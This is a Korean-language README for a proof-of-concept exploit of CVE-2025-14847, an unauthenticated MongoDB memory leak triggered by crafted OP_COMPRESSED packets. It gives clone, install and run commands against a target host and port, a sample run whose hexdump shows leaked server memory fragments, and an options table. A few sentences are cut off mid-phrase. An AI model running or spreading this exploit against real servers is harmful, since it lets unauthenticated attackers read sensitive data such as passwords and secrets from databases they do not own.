
CVE-2025-14847 – MongoDB 비인증 메모리 누수 익스플로잇
MongoDB zlib 압축 해제 취약점에 대한 개념 증명(PoC) 익스플로잇으로, 인증되지 않은 공격자가 서버의 민감한 메모리를 읽을 수 있게 합니다.
이 PoC는 Python 3로 구현되었으며, 악의적인 OP_COMPRESSED 패킷이 버그를 유발하여 MongoDB가 초기화되지 않은 메모리를 BSON 데이터로 반환하도록 만드는 방법을 보여줍니다.
이 취약점은 MongoDB의 zlib 메시지 압축 해제의 결함으로 인해 발생합니다:
uncompressedSize 값을 가진 압축 메시지가 전송됩니다.PoC는 조작된 OP_COMPRESSED 패킷을 전송하고 서버의 오류 응답을 파싱하여 누출된 데이터 조각을 복구합니다.
| 구성 요소 | 버전 | 설명 |
|---|---|---|
| Python | ≥ 3.8 | 스크립트는 Python 3 전용입니다 |
| MongoDB | ≥ 4.4 | 대상은 CVE-2025-14847에 취약해야 합니다 |
| 선택 사항 | requirements.txt | 저장소에 포함되어 있습니다 |
# Clone the repo (or copy the script)
git clone https://github.com/lincemorado97/CVE-2025-14847.git
cd cve-2025-14847
# (Optional) Install required Python packages
pip install -r requirements.txt
python exploit.py [OPTIONS]
예시:
python exploit.py --host 10.0.0.5 --port 27017 --min-offset 50 --max-offset 5000 --output leaks.bin
$ python3 exploit.py
11:02:41 CVE-2025-14847 INFO │ [*] Target: localhost:27017
11:02:41 CVE-2025-14847 INFO │ [*] Scanning offsets 20-8192
11:02:41 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:41 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:41 CVE-2025-14847 INFO │ 00000000: 20 6f 62 6a 65 63 74 20 77 69 74 68 20 75 6e 6b | object with unk|
11:02:41 CVE-2025-14847 INFO │ 00000010: 6e 6f 77 6e 20 5f 69 64 |nown _id|
11:02:41 CVE-2025-14847 INFO │ [+] offset= 39 len= 24:
11:02:45 CVE-2025-14847 INFO │ Offset Hex ASCII
11:02:45 CVE-2025-14847 INFO │ ---------------------------------------------------------------------------
11:02:45 CVE-2025-14847 INFO │ 00000000: 73 20 73 6b 69 70 70 65 64 20 64 75 72 69 6e 67 |s skipped during|
11:02:45 CVE-2025-14847 INFO │ 00000010: 20 74 72 65 65 20 77 61 6c 6b | tree walk|
11:02:45 CVE-2025-14847 INFO │ [+] offset=3064 len= 26:
11:02:50 CVE-2025-14847 INFO │ Offset Hex ASCII
....
11:02:50 CVE-2025-14847 INFO │ [+] offset=6663 len= 38:
11:02:52 CVE-2025-14847 SUCCESS │ [*] Total leaked: 496 bytes
11:02:52 CVE-2025-14847 SUCCESS │ [*] Unique fragments: 85
11:02:52 CVE-2025-14847 SUCCESS │ [*] Saved to: leaked.bin
이 스크립트는 흥미로운 각 조각(길이 > 10바이트)을 로그로 기록하고 hexdump 뷰를 출력합니다. 누출된 모든 데이터는 leaked.bin에 추가됩니다.

[+] offset= <doc_len> len= <len>은 조각이 발견된 위치를 나타냅니다.password, secret 등)을 출력합니다.이 PoC는 어떠한 보증 없이 "있는 그대로" 제공됩니다. 저자는 이 스크립트로 인한 오용이나 손해에 대해 책임을 지지 않습니다. 사용에 따른 책임은 본인에게 있습니다.
| 옵션 | 기본값 | 설명 |
|---|
--host | localhost | 대상 MongoDB 호스트 |
--port | 27017 | 대상 MongoDB 포트 |
--min-offset | 20 | 탐색할 최소 문서 길이 |
--max-offset | 8192 | 탐색할 최대 문서 길이 |
--output | leaked.bin | 누출된 데이터가 저장되는 파일 |